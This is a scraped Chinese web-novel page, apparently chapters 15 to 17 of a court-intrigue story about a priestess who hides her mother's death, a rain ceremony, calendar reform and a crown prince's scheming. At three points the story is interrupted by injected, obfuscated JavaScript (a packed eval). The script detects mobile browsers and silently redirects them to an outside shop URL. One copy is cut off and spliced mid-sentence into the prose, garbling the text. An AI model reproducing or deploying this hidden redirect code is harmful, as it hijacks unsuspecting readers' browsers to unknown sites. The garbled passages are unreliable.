这雨原就是今日今时要下的,而天降甘霖之时,便是天道认可了我的瞒丧之举,天认可了我为生民抛弃孝道。 你谋了那么多,算了那么多,又做了那么多,可曾算到祈雨大典这日会下雨? “啪嗒——”原本一颗一颗的雨滴只一瞬便细细密密地铺满了整片祭坛。 “下雨了!”不知是谁突然在不远处大喊起来。 “水神降雨了!天佑我朝啊!”朝臣们纷纷 皇帝和方谨妙皆是一顿,方谨妙不可置信地抬手接住落下的细雨。 这雨来得太不是时候了,雨一下,方星曜瞒丧祈雨一事便由“罪”转“功”,瞒丧降雨变成了天怜神女诚心,皇帝再没有了杀方星曜的理由,自己千算万算,却唯独没有想过今日会不会下雨的问题。方谨妙脸上浮现出灰败之色,心下叹息道,所以果真是人不能胜天吗? 方谨妙转头看向皇帝,只见他的脸上同样浮现出错愕和痛惜的神情,竟是一时间忘记自己该发话。 “呵——”方谨妙叹了口气,这极为微弱的一声叹息里有认命,有不屑,甚至也有一点松了口气的意思。 方谨妙再次看向祭台的方向,方星曜已然走下祭台向自己走来。 也许还有机会呢?雨一下,方星曜还可邀功向乾帝要求问罪太史司,上谏改历。方谨妙这样想着。 而一步一步向方谨妙走来方星曜此时才看到被拘的方天司,她心中倏然一惊,讶异地看向方谨妙。 姑姑的计策究竟是什么?为何方天司会被拘?方星曜心里满是疑问。 马上,我就可以向皇帝提改历,父亲,我就要做到了。 方星曜将问询的目光投向方谨妙,却见姑姑并未抬眼,只对自己轻轻颔首。 虽不知姑姑的计策究竟是什么,但这改历之事我还是要按自己的计划来做。现下,是最好的机会。 方星曜终于走到皇帝面前,正欲跪下,便听得不知又是谁喊了一声: “祈完雨就下雨了!太子殿下德孝动天,是我朝之幸。” 这人率先喊完,便带头呼唤了起来,其他的朝臣也纷纷跟着欢呼,赞颂太子之德。 方星曜的计划被打断,只得直起身先站到李昭的旁边。 而李昭则是迅速上前跪在乾帝面前行了一个君臣之礼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351797|198767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “父皇圣明,是父皇德感动天,真龙既出,水神这才降下甘霖,父皇天命所归。” 李昭的外衫已湿透,形容却不见一丝狼狈,他说完便抬头看着乾帝,雨水落入他的眼中,他却并不眨眼,甚至连眼睫也未动一下。 “起来罢。”乾帝此时心绪烦乱,这突降的甘霖本应是救国救民的珍馐,如今却是打乱国之大计的祸端。问罪方天司和太史司的圣旨就在廷尉手中,下一道圣旨便是问罪方星曜,可如今神女立功,却是杀不得了。神权不废,方天司便还有用,方天司隐瞒方母死讯,令方星曜瞒丧主持大典之事,倒也可先按下不表。 李昭应声而起,同时用余光看了一眼自己的母后,却见母后并未看向自己,她的眼光竟是落在自己身旁的方星曜身上。 母后果然还是疼惜方星曜的,李昭心想。此时母后应当要提起自己和方星曜的婚约了,可观她却一点没有要提婚约的意思。 若是她真的愿意提自己提婚约之事,那么先前母后去找父皇说明婚约之时,她便无需带姜道长去皇帝的宫殿。李昭问自己,母后真的会为了保护自己而出面提婚约吗? 李昭没有答案,也不想赌。如今与方星曜的婚约是自己躲避“月食之祸”的唯一护身符,若婚约之事此时不提,今晚的月食必然会将自己精心谋划的加冠参政一事尽数毁去。李昭侧目给一旁的左相杜之年递了一个眼神。 杜之年心领神会,立刻上前对皇帝启奏,“太子殿下此次祈雨甚为诚心,司天神女大人又成功祈到雨,此乃天命眷顾啊。”杜之年看上去极为高兴,像一个终于能见到自己儿子成家立业的老父亲般慈祥,“臣认为可尽快为太子殿下和神女大人完婚,以全天意眷顾。” 等在两侧的朝中重臣,不论是左相还是右相一党皆纷纷附和,“请殿下允太子和神女完婚。” 方谨妙猛地扭头,目光锐利地刺向自己的儿子。按照自己的计划,方星曜瞒孝一事戳破,李昭和方星曜的婚约自是不必再提,而她一没有算到这天会下雨;二没有算到李昭不知道方星曜戴孝,竟联合杜之年自己提了婚约。 杜之年莫名感觉被刺了一下,抬眼便看到了面容冷素的皇后娘娘正瞪着自己。杜之年猛地心虚般垂下头,再抬头时方谨妙的目光便已移开了。 一旁的乾帝此时此刻犹如被架在了火上反复煎烤。雨已下,祈雨大典已成,方星曜不能问罪,神权失去了废除的理由,神权不废改历便再次回归自毁天命。 如今杜之年替李昭这一求婚,意味着李昭接下来要筹备婚礼不能听政,虽是件好事,可方星曜在丁忧,又不能成婚。 自己如今能答应吗?不能。且不说孝期成婚违背礼法,是为大不敬。 拒绝的话?乾帝扫过弯身等待朝臣,理由呢?太子已加冠,确是到了成婚的年纪,二人自方星曜被封为司天神女之时便被定下婚约,象征王朝的下一代天命正朔。如今二人同时祈雨,天亦送雨,左相提出婚约是天命所归,自己若是拒绝了,又是逆天而行。 廷尉手持没有念完的圣旨,僵在原地进退不能,只任由雨点将圣旨上的墨渍一点点融化。他虽不懂礼法,却也知道如今方天司和方星曜瞒孝举办大典之事在雨落下后只能由皇帝本人裁决,瞒丧之事宣与不宣,方天司是问罪还是不问罪,都不是自己能决定的。 方星曜亦被左相提起婚约一事震在了原地,在看皇帝犹疑的表情,这才恍惚明白过来为何方天司会被拘住,原来皇帝已经知道自己瞒丧主持大典之事,皇帝此番问罪方天司…… 方星曜看了一眼方谨妙,后背腾地凉透了。 皇帝沉默的时间已然太久,连李昭都开始拿不准父皇的态度想要发话。 朝臣在雨中安静地等着,谁也想不明白为何皇帝会沉默。太子已加冠且到了成婚年纪,如今又求得了雨,这与司天神女的婚约简直就是天作之合。这与神女的婚期若近,太子需要全力筹备婚礼,便无暇顾及朝政,东宫官署的筹备自是要延后。这婚期远了,太子便可先行听政,再一并慢慢举办婚礼。 太子是否听政,全凭皇帝皇帝指一个婚期,而这婚期,便是朝堂所有人的风向标。 皇帝依然沉默着,但他的眼神却飘到了一旁押着方天司的廷尉身上。 方星曜见皇帝看廷尉,惊出一身冷汗。莫不是陛下动了杀念?若此时皇帝决定由廷尉将瞒丧之事说出并治罪,那便意味着,即便祈雨成功了,皇帝依然打算将自己问罪,若不制止皇帝先向自己问罪,这改历之事怕是再也无从说出口。 方星曜紧赶两步,走到乾帝面前跪下道,“臣请陛下降罪。” 皇帝收回目光,意外地看着自己请罪的方星曜,松了口气和善笑道,“祈雨大典为我天禄国求来了雨水,是我朝百姓之福,神女何罪之有?” 方星曜观乾帝神色缓和,垂眸道,“臣女之罪,在于瞒下母亲过世之事,冒险主办祈雨大典。但臣女心系天禄国百姓,认定心诚必能感动上天。现在虽天道认可,我的做法却与礼不和,还请陛下宽恕。” 方星曜看了一眼太史司官员的方向,继续道,“祈雨成功臣女不愿居功,请陛下下旨夺情,臣女愿戴孝留任,前往西部为百姓祈雨,同时治理地方旱灾,为陛下再建功业,安国安民。” 方星曜自爆瞒丧之事,朝臣一片哗然。 李昭闻言心中亦是一惊。瞒孝主办大典,方星曜还真是不知死活,难怪近日里看她神思游移,若今日这雨不下,方星曜瞒丧之事一旦被揭,必死无疑。 如今方星曜戴孝,一年内不得成婚,她自请西出治旱,即封了所有想拿她瞒丧做文章的嘴,又解了婚约之局。如果父皇同意,接下来天狗食月的天罚,便是自己需要独自承担的了。方星曜丧母如此大事,方府内应竟然没有传出消息,打了自己一个措手不及。 李昭看向皇帝,便见一向严肃的父皇竟软下了神色对方星曜笑了笑。 “司天神女祈雨有功,不必如此。”皇帝见方星曜主动解了围,也未再提改历之事,心中宽慰,上前扶起方星曜道,“允了。” 16. 第 16 章 “陛下。”方天司还被拘着,他挣扎爬了几步到皇帝面前,“臣——”他看了一眼拿着圣旨没有继续宣读的廷尉,仍然没想明白自己究竟犯了何事,脑中一团乱,却还是勉力一试,“神女瞒丧,此乃大逆不道,应当革职查办。” “多谢陛下,臣女有事启奏。”方星曜撇一眼方天司,打断方天司后面的话对乾帝道,“西部发生旱灾之事,太史司本应提前预测上报,为朝廷治灾赢得时间。现下虽祈雨成功,可西部灾情因未能提前预防导致万亩农田无法下种,臣要参当朝太史令方天司大人,玩忽职守之罪。”方星曜看向方天司一旁的廷尉,姑姑带着皇帝和廷尉掐住大典刚刚结束的时间点到,一来便是要问罪方天司的架势。 姑姑让自己瞒孝主持大典,又说改历可行,莫非?方星曜看了一眼方谨妙,莫非姑姑是想拿自己和方天司二人的命换皇帝同意改历?所以姑姑是想以自己瞒丧之事牵扯方天司,再问罪太史司从而推动改历吗?方星曜感觉自己的后背突地一凉。 方天司挣扎着想要起身与方星曜争辩,却被内廷士兵一左一右压制住肩膀,动弹不得。他只能仰头喊道,“陛下明鉴,天象之道幽微难明,况旱情延误一事是因当地司稼署拖延不报而起,其责不在太史司。” 皇帝并未理会二人,反是示意廷尉放开被禁锢的方天司,“天降甘霖乃社稷之幸,万民之福,今日便先如此罢。神女与方卿举办祈雨大典有功,朕心甚慰,免去二人瞒丧之罪。” 这是要轻拿轻放的意思了。 “陛下,臣还有一事启奏。”方星曜见皇帝推诿,便紧追一步上奏道。 “还有何事?”乾帝看向方星曜的眼神已然极为不耐。 “此次求雨虽成功,可旱灾却是天罚之象。”方星曜思索了一下。原本今晚的月食天象是自己最后的底牌,若大典时皇帝不允改历,自己还可在月食之后再提改历,此次是为月全食,是最可借机祸引作为外戚的方天司的机会。而下一次月食的天象则要等待数月。 今晚月食一出,太史司必有斥“太子失德”的奏折出现,如今自己要启程去西部治旱,一来谋划时间不够,二来李昭毕竟是姑姑唯一的儿子了,合该也要保一保他。 方星曜下了决断,当场向在场的朝臣和百姓爆出月食之事,“况今日晚间还有天狗食月天象,此为天怒,是为时节和粮收。” 方星曜柔弦般的声音却掷地有声。“太史司之所以无法准确预测旱灾,是因其使用的历法有错漏。臣请陛下惩方天司治历不严之罪,并对我朝大乾历进行改革,救百姓于水火,慰天怒以安天命。” 方星曜此言一出,朝臣一片惊慌愕然,纷纷议论神女胆大妄言。 这改历之事,抛开威胁皇权正统不说,十年前上谏改历的太史司官员被调职的调职,杀的杀,皇后娘娘更是曾当朝与乾帝吵过数次。 前任太史令方谨琮大人为此奔走数年,无数次上奏皇帝都未得到过应允,最后方谨琮以死明志撞死在了大殿之上,乾帝也未曾同意。 自那之后,改历之事便再无人敢提。 却未曾想,方谨琮的女儿,竟是一个硬骨头。 这历改或不改,全在皇帝。而于朝堂所有官员来说,这方天司若被动了,整个朝堂的格局便会被打乱,方天司被罢黜也许是个机遇,却也可能是更大的麻烦。 当下朝堂势力三分,左相杜之年代表的太子党与右相武道成代表的四皇子党分庭抗争,御史大夫郭起世代表的世家势力目前仍处于中立的观望状态,而太史令方天司则一直是皇帝手中最锐利的刀刃,也是皇帝的代言人。 左相文臣两大派系的势力一直在被太史司侵蚀,太常和大司农的事权更是一直在被一点一点剥离。 右相的武将集团也频频受到太史司挟持,能不能出兵,何时出兵,甚至于带走多少兵都需要太史司测完吉凶才可定。 皇帝对方天司极为器重。 且先不说皇帝会不会真的降罪十八年前有从龙之功的方天司,即便真撤了方天司的官,又有何人能顶上?如今司天神女有孝在身,虽皇帝允其夺情留任,可她又即将去往西部治旱。 方谨琮已死了九年,皇后娘娘虽为前任司天神女但身为皇后不得参政,方家如今只剩一个方谨微,却是又得了疯病。方家的这一辈早已人才凋零,曾经的实学学堂停摆九年,如今竟是无一人有才能可承太史令一职。 朝廷的官员谁都想得明白,谁也不想掉脑袋,因此没有一个人附和改历之事。 皇帝不发话,朝臣便也全都如鹌鹑般僵着。 一贯谁也不服谁,碰上便要吵几句的杜之年和武道成竟是莫名地对视了一会儿后一并上前向乾帝齐声道: “微臣,请陛下移步御书房议事。” “老臣,请陛下至御书房一议。” 自方星曜点破改历之事,乾帝心里的盘算已然转了十八弯。 按方谨妙的交易,方天司确实可以死,且是非死不可。由方谨妙任太史令一职,新官上任改前任太史令的旧制,加一个斡年将年差平了,军政支出巨大已然不堪重负,农耕若能尽快恢复也能填补国库亏空。待方谨妙交出方家的实学典籍,皇家开班实学学堂之时,再放一批官职出来让优秀的学子入仕,便可向权贵世家收一大笔昂贵的学费。 可如今,方星曜杀不得了,方天司倒是可杀,可不杀方星曜,杀了方天司一人又有何用?神权无从废除,皇权依然会受制于神权。如今不知方谨妙的交易是否仍然有效,也不知方谨微是否真能如方天司一般得用。 在场所有的人都等着乾帝答复,绵绵春雨中,所有人的衣衫都已然湿透,却没有一个人敢发出一丝响动。 乾帝并未理会二人,反是示意廷尉放开被禁锢的方天司,“西部旱情预报失误,致百姓受灾,太史司失职属实,令其归家静思己过,听候发落。” 这是还可以斡旋的意思。方星曜默了默只得抬起头道,“陛下圣明。” “有劳神女全力操办今夜的救月典仪。”乾帝吩咐完方星曜后,又转向左右二相,“改历之事,明日再议。” “是,陛下。” 李昭站在一旁默默看完了这场戏,他没想到方星曜就这般轻飘飘地将月食之祸引到了方天司身上,保下了自己,再想到自己之前欲借与方星曜的婚约将月食天象引祸于她,竟是一时心中有些许赧然。 李昭过去认为方星曜瞒孝举办大典是为了权力,却没成想竟原是为了提改历之事,是为国为民。李昭的眼神在方星曜身上一扫而过,浓黑得窥不见心思的眼瞳竟是闪了闪。 方天司见乾帝令自己闭门思过,不然自己参与明日的改历议事,便跪下磕了一个响头道,“陛下,月食天象乃是后宫不详之象。” 皇帝如今并未下令降罪自己,便是留有余地。如今方星曜的瞒丧之罪因降雨而抵消,她既要西出治旱,便再管不得朝堂之事,此时方星曜提改历,观左右相态度,后面会如何实在是不得而知。 如果皇帝真的决定改历,若是改良,那么必得有人先扛下历法错误的责任,而自己便一定是被推出来的用来认罪的,如此一来,必是官职不保。若皇帝想要推翻现行历法,那么自己便是只有死路一条。 当下唯一的活路,便是先向四皇子党靠拢示好,以求右相相护。武道成虽说性格暴烈,但念在自己外甥与方思柔的婚约上,大抵不会在此大是大非上,毁了自己的后路,毕竟若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367126|198767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四皇子将来要登基,还是需要有太史司为其背书,立天命正朔。连皇帝如此独断狠辣之人都需要皇权撑腰,更别说一向纨绔的四皇子。要堵住非嫡继位的悠悠众口,便必得依赖太史司定的天命。 更别说,若是顺了皇帝的心意,做一个有用之人,皇帝也许还是会保下自己。既然皇帝不想太子过早听政,太子便可被天意不允。 方天司给武道成递去一个眼神,继续对皇帝道,“臣虽有罪在身,却不得不说,月者,众阴之长,妃后大臣諸侯之象也。此月象指向太子‘失德’。” 此话一出,朝臣一片哗然。 “方大人是不是糊涂了?这雨才刚下,他便谏太子失德?” “但月食之事千真万确,这可是神女大人预测的,不会错。” “陛下,以前朝之鉴,这月食之相,乃是指向外戚专政,武权当道。”文思礼上前替太子解围,“想来便是指的方大人和武相。” “太史司断天象,何时轮到你太常插手,太常掌礼,太史司才是掌天辨天象。”方天司见文思礼将天象的解释引向四皇子党,立刻驳斥道。 廷尉见右相被攻伐,亦是开口驳斥文思礼的说法,“文大人你莫要血口喷人,武相征战沙场多年,一心为国,我等皆以陛下为天,听令效劳。这兵权当道的说法,又是从何而来?” “《晋书·天文志》载,月食现,将相忧,这是太史司的典籍。”文思礼驳道,“可不是我太常所撰。” “你们太常整日不干实事,成日便是张口要钱,你们可又曾为我天禄国添过一锭银子?”廷尉是右相一手提拔起来的,忿忿不平道,“倒是你们这些文官,成日咬文弄墨,对我们这些为国为民的武将指指点点。依我看,这月食之相,便是你文官当道之祸。” “我文官有何错处?大人不可空口白牙。”大司农钱攸良听得廷尉这话也憋不住了,“这我朝钱政财,哪一个不是我文官的差事?这盐铁,商道,农粮,又有哪一项不是我们的苦劳?” “农粮?国库如今还有多少存粮?”廷尉嗤笑道,“你们派给军队的粮草一年比一年少,年年都在说粮食减产,这可不就是你们的心血?” “粮食减产你得问司稼署,负责农田耕种和收成的是他们。”钱攸良呛道,“这司稼署可是隶属于太史司。” 钱攸良这一下子可算是将所有人都被拉下了水,风暴中央的左相、右相都不好发话,双双置身事外任由下面的人吵。 方天司对钱攸良说的这事也是反驳不能。 场面极为难看,所有人都僵在原地。 李昭见局势逐渐失控,自己处于多方攻讦的旋涡之中,已经到了不能再避的时候。若此时再避让,必会让方天司将月食之祸推于自己身上,如今方星曜带孝不能成婚,一时也想不到别的办法避免被皇帝开罪。如今只得先拖一拖,看是否能借明日二相与皇帝论改历一事上找到转机。 “父皇,儿臣认为当下最重要的事便是先完成谢天的仪式,好教神女大人尽快去操办晚上的救月典仪。”李昭看了眼逐渐停下的雨道,“月食之事还未向民间通报,现下雨有停歇之象,今夜的天狗食月恐会被百姓所见。为避免民间因月食恐慌,儿臣愿前往民间颁布陛下救月的圣旨,并协助百姓于家中同时行救月礼,共祈国运顺遂。” “臣复议。”大家都觉得此事也算吵得差不多了,太子究竟是不是“失德”还不是皇帝一句话的事?如今太子殿下递出台阶,众臣便纷纷附和,况这雨将人衣衫都淋透了,不仅形容不妥,身子也黏腻湿冷,颇为不适,还是赶快回家的好。 “准。”乾帝压下心中烦躁执起方谨妙的手,冷肃道,“此次宫中救月仪典,皇后与朕同去罢。” 17. 第 17 章 “太子殿下。”方星曜自方谨妙殿中出来,还未越过门槛便迎面遇上了来找母后的李昭,她后退一步蹲下身子正欲行礼,却被李昭扶住了。 “表姐,不必多礼。”此时的李昭面上竟是没有挂上他标志性的笑容,他垂落眼眸向方星曜的腿看去,却又觉得不合适般迅速收回了目光。 李昭原想问问方星曜的母亲如何了,又想问问她腿上的伤,最终出口的话却变成了,“母后歇下了吗?” “姑姑知道你会来。”这是李昭自长大后第一次喊自己表姐,方星曜颇为意外地看向李昭,他身上仪典的青衫已换成了玉白镶红的织金锦袍。那个会跟在自己身后甜甜喊姐姐的小团子,如今已然长成高大俊朗,需要自己仰视的男子。 方星曜心中惴惴。原本见自己的母后着常服便可,但李昭竟是换了如此隆重繁复的正式太子服,他对见自己的母亲如此重视悉心,可姑姑却不打算见他。 “殿下,我有话与你说。”方星曜看了一眼站在李昭身边的廿九,抬手将李昭引到一边,背过身从怀中取出一封信却并未递给他。 “表姐不妨直言。”李昭不解其意,看向方星曜手中的信。 “殿下想听政,我可助一臂之力。”方星曜看着李昭的眼睛,想要从那双深如星夜的眼瞳中读懂他的情绪,可那灿黑的眸子却一动未动,正静静地看着自己。 李昭薄唇轻抿,勾出一抹浅淡的温和笑意,“孤作为天禄国的太子,自当为国分忧,而孤作为陛下的儿子,自当一切听从父皇的安排。” 方星曜未回应李昭的话,反是将手中的信递给李昭,这信里写了自己在太史司的所有暗桩和父亲的旧部,是她在皇都的全部筹码和后路。 李昭接过信正欲拆开却被方星曜纤白的指尖点住,他停下动作看向方星曜。 “殿下作为一国太子,自当为百姓出一份力。”方星曜见李昭收下了信,这才顺着他的话说道,“今晚的月食之祸殿下避无可避,与其被方天司制约不如与我结盟。我可助你躲过此祸,亦可助你听政。殿下自是知道我想要什么,但我要殿下的一句承诺。” 李昭听得方星曜提起月食之事,眼中闪过一道暗芒。“神女大人不妨说说看,若孤能力所及,自当尽力。” “我明日便要出发去往西部,朝中之事力所不能及,还请太子殿下代我护好这信中每一个名字。殿下有朝一日入主朝堂,我的人亦可为你所用。”方星曜道。 “可,孤答应你。”李昭顿了顿又补充道,“表姐放心。” “今年天灾频发,七月江中一带还将有水患。我在太史司的人会以天象配合殿下于朝中布局,助殿下前去赈灾积攒政绩,我会尽快缓解西部旱灾后赶去与你汇合。待归朝时,殿下可更进一步,参政。”方星曜道,“而水患之前,还请殿下先蛰伏,万勿错过这次机会。” 李昭听罢心中微动,颔首应道,“多谢表姐告知。” “嗯。”方星曜尽力露出一个笑容,如今母亲过世,谨微姑姑一直闭门不出,也不见任何人,而谨妙姑姑当时让自己瞒孝主持大典,与皇帝一来便抓了方天司,怕是也对自己下了死计。皇帝对如何处置方天司并没有明确的答复,而明日有关历法的集议皇帝又只招了左右相和御史大夫。自己明日这一走,如若皇帝不处置方天司,那自己在太史司的人都会陷入危险。 如今,这偌大的皇都,自己竟是找不到第二个能更信任一些的人了。方星曜自嘲地笑了笑望向李昭道,“多谢表弟。” “西部干冷又路途遥远,我着人送些随行的物品,表姐莫要推辞。”李昭道。 “好,我会传信给太史司的暗桩在我走后听你差遣。”方星曜将事情交代完,这才状似无意般抬头看了看天道,“天色渐晚,我走时姑姑便说想小憩,这会子怕是已经歇下了。” “既如此,孤明日再来给母后问安。”李昭观方星曜神色心中早已分明,母后还是不想见自己。方星曜遮遮掩掩和欲言又止的样子并没有将她的心思藏得很好。 “好。”方星曜松了口气道。 午时已停下的雨又淅淅沥沥下了起来,方星曜走出几步又回过头叮嘱李昭,“春雨松土,这几日皇陵可有漏雨塌陷。今夜太史司会奏禀“月犯太微垣”的天象,此天象主’先帝不安’,我会令太史司谏言陛下修缮皇陵,殿下可藉此避月食之祸。” “月食”与“月犯太微垣”这两个天象叠加在一起,乃是大凶之兆,若先帝陵寝真的“不宁”,便是人事应天象,算是解了灾。 未曾想,方星曜在祈雨大典落雨、停雨,月食之后,竟还有后手。李昭心内讶道。 “自请去皇陵守孝?”东宫书房中,杜之年放下手中的茶盏道,“妙哉。即可扬孝名,又可避月食灾祸,还可修皇陵建功绩,更能免你被陛下夺听政之权。” “嗯,方星曜说今晚月食必现。”李昭心不在焉,朝向窗外微微抬了抬下颌道,“老师看,雨又停了。” 李昭看着窗外的时间太久,杜之年“不小心”将茶盏歪倒在桌案上发出一声清响。 “嗯?”李昭收回目光看向杜之年。 “明日陛下只召了我与右相,还有太史司的王申。”杜之年喝了口茶,状似闲聊道,“改历之事殿下如何看?” 李昭耳根微动,目光再次移向窗边。他起身走去关上窗户,这才走回到案几边对杜之年缓缓道,“历法要改,可要慢慢改,少则三年,多则十年,不能急。”李昭道,“历法一改,仪典、祭祀、赋税皆牵一发动全身,甚至连战事都会受到影响。” “陛下今日并未压下神女的奏议,说不准陛下确实动了改历的心思。”杜之年摇了摇头,缓慢道。 “若父皇真的有意改历,那便是我们的机会。”李昭取来一本奏章在杜之年面前摊开,执笔写下六个字,“军、粮、盐、铁、人、钱” 李昭将第一个“军”字划去看向杜之年,“如今我朝的军队掌握在武相手中,且皆死忠跟随李念,是为孤最大掣肘。” “而粮,则掌于太史令手中。”李昭将粮和钱二字勾连至一起,“若父皇决定问罪方天司,可借历法之误将司稼署从太史司的派系中剥离。一旦其划归给大司农,财政便回归一体。我朝有多少农户,缴多少粮,纳多少税,大司农不仅可做到心中有数,更可做全面统筹调度。” “司稼署乃是先帝在时由前太史令方谨琮亲自设立。”杜之年思索道,“即便陛下问罪方天司,新任的太史令也依然会从方家选人继承。此事方家断然不会同意。” “老师,孤方才与方星曜有一个交易。”李昭将方星曜给他的信置于桌案,“方谨琮将自己在太史司的亲信都留给了她。” 杜之年快速扫完信上的名字又将其折好道,“有了太史司这些人,或许真的可成事。” “嗯。”李昭将信仔细收好,“不仅如此,西部三州共有三十二司稼署均听令于方星曜。” 听到李昭提起方星曜,不知为何杜之年竟是叹了口气。李昭应声望去便见他神思游移,眉间绕着一股不知何来的愁绪。 “老师?”李昭等了好一会儿才开口唤杜之年。 “方家的女儿终归是活得不容易。”杜之年没头没尾地冒出一句叹息后,又立刻正了神色,“殿下提起西部三州的司稼署,是何意?” “蜀地盐铁。”李昭道,“北部刘氏掌控当地池盐与海盐,是我朝最大的盐商,而卓氏掌控铁矿又是为最大的铁商,可如今大司农所征得的盐铁税却与当地的产量严重不符。” “确是如此。”杜之年道,“刘氏与卓氏对所得收益隐匿不报,朝廷也无从追究,毕竟这盐铁均属私营。” “按方星曜的推算,今年七月北部将有水患。”李昭目光定定,“孤要去北部,将盐铁二商一并治理。” “殿下的意思是想拉拢刘卓氏?” 李昭摇摇头道,“扶持蜀地王家成为盐铁皇商,将刘卓氏的盐铁经营权收回朝廷。” 杜之年本一手撑住脑袋昏昏欲睡,听得李昭此话惊得一胳膊歪下来,“陛下,不,殿下,这……” “治水与盐铁的政绩,孤都要。”李昭并未理会杜之年的讶异,继续道,“如今我朝任用官员乃是推举制,世家大族垄断了朝堂所有的职位。而父皇重武,文臣势弱,孤要成事却无人可用。” “世家势力庞杂、盘根错节,他们不仅会因势左右摇摆,即便当下可用,将来也会成为掣肘。”李昭顿了顿,“或可推新制考核人才,从民间选拔,培植新的文官肱骨。” 李昭执笔将“人”字圈起,“先选拔人才,收回司稼署,再收盐铁,如此便有了钱,而掌握了钱粮,武相的兵便也将受制于孤。” “老师认为如何?”李昭放下笔问道。 “殿下,如此大的筹谋,是否操之过急?”杜之年听完李昭筹谋已是呆愣原地久久不能回神。这不是太子听政做的事,这是帝王在治国。 “孤想废神权。相父,这不也是你一直想要的吗?”李昭抬眸看向杜之年,轻轻吐出一句,“容易莫摧残。” “你——”杜之年听到李昭这一声“相父”和这一句诗惊得都结巴了起来,“殿下、何时、知道的?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367127|198767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “叮——”宫中的整点报时声传来,在杜之年的耳中却仿佛惊雷炸起。 “戌时初了。”李昭没有回答杜之年的问题,“老师该去参加救月大典了。” “殿下,臣定当竭尽所能助你成事。”杜之年安定自己,跪下向李昭行了一个君臣之礼,“万死不辞。” “老师快请起。”李昭起身挽起站都有点站不稳的杜之年,替他理了理乱掉的袍子道,“我自三岁起便受到老师的悉心教导,老师于我而言是比父皇还要亲近的人。” 李昭顿了顿道,“吾答应你,待废除神权,倦鸟若愿展翅,自可翱翔天地。” 杜之年深深看了一眼自己这年仅十八却已有帝王之姿的徒弟,再次郑重向李昭行了一礼这才离开。 李昭看着杜之年走远,方才走到桌案边,执起一颗棋子往先前关上的窗掷去。 窗户应声而起,不一会儿,一道高挑窈窕的身影便自窗外跃了进来。 “属下参加太子殿下。” “嗯。”李昭看着眼前消瘦了许多的人,不知怎地便想起了方星曜那道摇摇欲坠的身影。他皱了皱眉问道,“太史司克扣了斋戒期间的膳食?” “殿下,唤我何事?”顾明在外面听到窗户被震开,只当是李昭在召唤自己,看也不看房内的情况便冲了进来。 “回殿下,”兰兮直接无视了顾明,又略显尴尬地回复李昭,“斋戒期间不食荤腥,属下在方府身份不便,也不能吃太多肉食。” “你今日怎的得空回来复命了?”顾明对兰兮不理不睬的态度也直接无视,好整以暇围着兰兮转了一圈看她瘦了多少,又好奇问道。 兰兮瞪了一眼顾明,没有理他。 “方星曜丧母之事为何没有回禀?”李昭淡淡问道。 兰兮疑惑抬起头,“太子殿下不是让我在神女被押后易妆将她换出来吗?” “被押?”李昭隐隐觉得不对劲。 “神女大人丧母当夜让属下传信皇后娘娘,我递了两封密信给方府外的暗卫,让他们转交给顾明。”兰兮似是反应过来,猛地转头看向顾明质问道,“你没有看信的封字?两封都递给了皇后娘娘?” “你给暗卫交代的是加急送给皇后娘娘,便没有再经我手。”顾明挠挠头道,“你忘了那两名暗卫不识字了吗?” “罢了。”李昭打断道,“母后给你的回信说的什么?” “方天司拿苏夫人的遗体要挟神女大人瞒孝主持大典。皇后娘娘想是为保神女大人性命无碍,安排了人在押神女入大牢前将她藏起来,令我代替神女大人入大牢。”兰兮道,“我原以为是陛下的意思。” “原是如此。”李昭眉头皱起来。 “属下还有事禀报。”兰兮朝顾明看了一眼道,“还请陛下屏退左右。” “哪有左右呢?”顾明嘴上虽则辩驳了一句,却还是自觉地退了出去。 “请殿下责罚。”兰兮见顾明离开,立刻拂袖跪下,“属下未能护好苏夫人。” “前些日子,你说姨母身子已见好了。”李昭思索母后的用意不得,皱眉问道。 “是,”兰兮神色不明,“方天司叫下人把夫人的药全换成粗茶后,小姐便都是亲自令荷花买药熬药。属下用殿下给的药材将荷花的药替换下来,夫人的身子在那之后确实是见好了。” “殿下冠礼那日,我在方天司书房外听到他吩咐下人要毒杀夫人。那家仆是个蠢的下毒也下不明白,都被属下换掉了。”兰兮垂下头,似是忍了又忍,“可小姐曝晒礼最后的那日……约是方天司下了死令,那恶仆竟是带了一群家仆冲进夫人房里不管不顾要明着下手了。” 兰兮叹了一口气,“那恶仆算是方天司的心腹,他知道我是方天司的’侄女’,要我站在一旁看着。” “属下,属下遵了殿下的令与弟弟一起潜伏在方府,不能暴露身份。”兰兮声音哽咽,有点说不下去,“夫人是被那恶仆下令,活活打死的。” “属下无能,没有护好夫人。”兰兮道,“可我若再拦,必会失去方天司的信任。弟弟也无法再在方府潜伏。所以……” 